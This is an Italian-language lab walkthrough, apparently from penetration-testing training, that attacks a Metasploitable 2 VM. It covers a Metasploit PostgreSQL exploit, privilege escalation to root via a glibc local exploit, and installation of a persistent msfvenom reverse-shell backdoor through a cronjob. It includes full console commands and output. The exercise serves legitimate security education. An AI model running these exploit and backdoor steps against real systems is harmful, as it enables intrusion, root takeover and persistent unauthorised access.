

## EXPLOIT, ESCALATION DI PRIVILEGI E BACKDOOR

La simulazione di oggi prevede l'utilizzo di un exploit che sfrutta una vulnerabilità di PostgreSQL su Metasploitable 2, successivamente andremo ad effettuare un escalation di privilegi per diventare root e installare una backdoor.

### FASE 1

Da msfconsole di Kali cerchiamo l'exploit di PostgreSQL:  
 exploit/linux/postgres/postgres\_payload, con show options vediamo i parametri necessari al suo funzionamento e li andiamo a configurare, RHOST ovvero l'ip della macchina target e LHOST l'ip della macchina attaccante ovvero la nostra di Kali.

```
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):

  Name      Current Setting  Required  Description
  ---      -
  VERBOSE   false            no        Enable verbose output

Used when connecting via an existing SESSION:

  Name      Current Setting  Required  Description
  ---      -
  SESSION                    no        The session to run this module on

Used when making a new connection via RHOSTS:

  Name      Current Setting  Required  Description
  ---      -
  DATABASE   postgres         no        The database to authenticate against
  PASSWORD   postgres         no        The password for the specified username. Leave blank for a random password.
  RHOSTS                    no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      5432             no        The target port
  USERNAME   postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST                    yes        The listen address (an interface may be specified)
  LPORT      4444            yes        The listen port

Exploit target:

  Id  Name
  --  -
  0    Linux x86
```

Una volta configurato correttamente lo lanciamo con il comando run e vediamo come sfruttando la vulnerabilità di PostgreSQL ci apre subito la connessione con la macchina target avviando la shell avanzata Meterpreter.

Attraverso il comando getuid vediamo con quale utente siamo connessi alla vittima, in questo caso è postgres. Se volessimo fare un'ulteriore verifica possiamo lanciare il comando ifconfig e dovremmo vedere l'indirizzo ip della macchina target.

```
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.1.62
LHOST => 192.168.1.62
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.1.62:4444
[*] 192.168.1.149:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/mhDntLiH.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.62:4444 -> 192.168.1.149:40234) at 2024-11-13 16:11:30 +0100
[*] Sending stage (1017704 bytes) to 192.168.1.149

meterpreter > [*] Meterpreter session 2 opened (192.168.1.62:4444 -> 192.168.1.149:40235) at 2024-11-13 16:11:30 +0100
meterpreter > getuid
Server username: postgres
meterpreter > 
```

Ora che siamo entrati nella macchina target dobbiamo iniziare con l'escalation di privilegi per poter diventare root, per farlo dobbiamo utilizzare suggerster, un modulo di Metasploit che configurati pochi parametri e solo dopo aver ottenuto un accesso alla macchina vittima ci permette di poterne scoprire le vulnerabilità tramite exploit compatibili.

Prima di cercare il modulo mettiamo in background la sessione di meterpreter sulla macchina vittima e lanciamo search suggerster

```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/postgres/postgres_payload) > search suggerster

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
-  -
0  post/multi/recon/local_exploit_suggester .              normal No     Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
```

Lanciamo show options e impostiamo la sessione che avevamo precedentemente messo in background ovvero la sessione 1 e lanciamo il comando run

```
msf6 exploit(linux/postgres/postgres_payload) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

  Name                Current Setting  Required  Description
  ---                -
  SESSION              false           yes       The session to run this module on
  SHOWDESCRIPTION      false           yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run
```

Ora suggester ci mostrerà in **verde** a quali exploit la macchina target risulta vulnerabile

```
[*] 192.168.1.149 - Collecting local exploits for x86/linux...
[*] 192.168.1.149 - 196 exploit checks are being tried...
[+] 192.168.1.149 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.1.149 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.1.149 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.1.149 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.1.149 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.1.149 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.1.149 - Valid modules for session 1:

#  Name                                                                 Potentially Vulnerable?  Check Result
-  -
1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc                Yes                       The target appears to be vulnerable.
2  exploit/linux/local/glibc_origin_expansion_priv_esc                Yes                       The target appears to be vulnerable.
3  exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                       The target appears to be vulnerable.
4  exploit/linux/local/ptrace_sudo_token_priv_esc                     Yes                       The service is running, but could not
be validated.
5  exploit/linux/local/su_login                                         Yes                       The target appears to be vulnerable.
6  exploit/unix/local/setuid_nmap                                       Yes                       The target is vulnerable. /usr/bin/nma
p is setuid
7  exploit/linux/local/abrt_raceabrt_priv_esc                         No                        The target is not exploitable.
8  exploit/linux/local/abrt_sosreport_priv_esc                       No                        The target is not exploitable.
9  exploit/linux/local/af_packet_chocobo_root_priv_esc                No                        The target is not exploitable. System
```

Selezioniamo il primo e andiamo a impostare come di consuete i parametri necessari al suo funzionamento. Per prima cosa impostiamo il payload da utilizzare, il target.

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show payloads
```

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/generic/custom	.	normal	No	Custom Payload
1	payload/generic/debug_trap	.	normal	No	Generic x86 Debug Trap
2	payload/generic/shell_bind_aws_ssm	.	normal	No	Command Shell, Bind SSM (via AWS API)
3	payload/generic/shell_bind_tcp	.	normal	No	Generic Command Shell, Bind TCP Inline
4	payload/generic/shell_reverse_tcp	.	normal	No	Generic Command Shell, Reverse TCP Inline
5	payload/generic/ssh/interact	.	normal	No	Interact with Established SSH Connection
6	payload/generic/tight_loop	.	normal	No	Generic x86 Tight Loop
7	payload/linux/x64/exec	.	normal	No	Linux Execute Command
8	payload/linux/x64/meterpreter/bind_tcp	.	normal	No	Linux Mettle x64, Bind TCP Stager
9	payload/linux/x64/meterpreter/reverse_sctp	.	normal	No	Linux Mettle x64, Reverse SCTP Stager
10	payload/linux/x64/meterpreter/reverse_tcp	.	normal	No	Linux Mettle x64, Reverse TCP Stager
11	payload/linux/x64/meterpreter/reverse_http	.	normal	No	Linux Meterpreter, Reverse HTTP Inline
12	payload/linux/x64/meterpreter/reverse_https	.	normal	No	Linux Meterpreter, Reverse HTTPS Inline
13	payload/linux/x64/meterpreter/reverse_tcp	.	normal	No	Linux Meterpreter, Reverse TCP Inline
14	payload/linux/x64/pingback_bind_tcp	.	normal	No	Linux x64 Pingback, Bind TCP Inline
15	payload/linux/x64/pingback_reverse_tcp	.	normal	No	Linux x64 Pingback, Reverse TCP Inline
16	payload/linux/x64/shell/bind_tcp	.	normal	No	Linux Command Shell, Bind TCP Stager
17	payload/linux/x64/shell/reverse_sctp	.	normal	No	Linux Command Shell, Reverse SCTP Stager
18	payload/linux/x64/shell/reverse_tcp	.	normal	No	Linux Command Shell, Reverse TCP Stager
19	payload/linux/x64/shell_bind_ipv6_tcp	.	normal	No	Linux x64 Command Shell, Bind TCP Inline (IPv6)
20	payload/linux/x64/shell_bind_tcp	.	normal	No	Linux Command Shell, Bind TCP Inline
21	payload/linux/x64/shell_bind_tcp_random_port	.	normal	No	Linux Command Shell, Bind TCP Random Port Inline
22	payload/linux/x64/shell_reverse_ipv6_tcp	.	normal	No	Linux x64 Command Shell, Reverse TCP Inline (IPv6)
23	payload/linux/x64/shell_reverse_tcp	.	normal	No	Linux Command Shell, Reverse TCP Inline
24	payload/linux/x86/chmod	.	normal	No	Linux Chmod
25	payload/linux/x86/exec	.	normal	No	Linux Execute Command
26	payload/linux/x86/meterpreter/bind_ipv6_tcp	.	normal	No	Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
27	payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid	.	normal	No	Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
28	payload/linux/x86/meterpreter/bind_nonx_tcp	.	normal	No	Linux Mettle x86, Bind TCP Stager
29	payload/linux/x86/meterpreter/bind_tcp	.	normal	No	Linux Mettle x86, Bind TCP Stager (Linux x86)
30	payload/linux/x86/meterpreter/bind_tcp_uuid	.	normal	No	Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
31	payload/linux/x86/meterpreter/reverse_ipv6_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager (IPv6)
32	payload/linux/x86/meterpreter/reverse_nonx_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager
33	payload/linux/x86/meterpreter/reverse_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload payload/linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show targets
```

Exploit targets:

Id	Name
0	Automatic
1	Linux x86
2	Linux x64

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set target 1
target => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > exploit
```

In questo caso impostare il target su 1 significa far “capire” al payload che il target è su Linux x86, impostando erroneamente questo parametro in automatico una volta lanciato, l’exploit non funzionerà correttamente, è di conseguenza molto importante effettuare una fase di ricerca informazioni e scansione meticolosa per poter conoscere la macchina vittima.

```
msf6 payload(linux/x86/meterpreter/reverse_tcp) >
[*] Started reverse TCP handler on 192.168.1.62:4444
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Meterpreter session 3 opened (192.168.1.62:4444 → 192.168.1.149:58526) at 2024-11-13 16:19:47 +0100
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Meterpreter session 4 opened (192.168.1.62:4444 → 192.168.1.149:58527) at 2024-11-13 16:19:47 +0100
[*] Meterpreter session 5 opened (192.168.1.62:4444 → 192.168.1.149:58528) at 2024-11-13 16:19:47 +0100
```

```
[*] Starting interaction with 5 ...
```

```
meterpreter > getuid
Server username: root
meterpreter > █
```

Una volta lanciato il payload possiamo vedere che l'exploit ha funzionato perchè ha aperto una sessione **meterpreter** e questa volta siamo utenti **root**.

Ora che siamo all'interno del sistema possiamo effettuare la fase di mantenimento dell'accesso, per farlo andremo ad installare una backdoor all'interno della macchina vittima per permetterci di poter riaccedere sempre.

Per farlo utilizziamo msfvenom per creare la backdoor da installare, nel nostro caso abbiamo utilizzando il seguente: `msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.62 LPORT=4444 -f elf > /tmp/backdoor.elf`

In sintesi andiamo a scrivere il payload impostando il nostro ip e porta per l'ascolto della backdoor e esportiamo il tutto in un file che chiamiamo backdoor.elf

Il passo successivo è quello di riprendere la sessione meterpreter come utente root e carichiamo il file sulla macchina impostando i permessi del file su 777 dopodichè impostiamo un cronjob sul file per far sì che la backdoor si apra automaticamente all'avvio della macchina, apriamo msfconsole e lo mettiamo in modalità listener tramite l'handler.

Ora abbiamo a tutti gli effetti installato la backdoor e possiamo riavviare la macchina della vittima, vedremo di conseguenza che il nostro listener aprirà in automatico una sessione come utente di root.

```
[*] Started reverse TCP handler on 192.168.1.62:4444
[*] 192.168.1.149 - Meterpreter session 2 closed. Reason: Died
[*] 192.168.1.149 - Meterpreter session 3 closed. Reason: Died
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Meterpreter session 4 opened (192.168.1.62:4444 → 192.168.1.149:55112) at 2024-11-13 16:56:06 +0100
```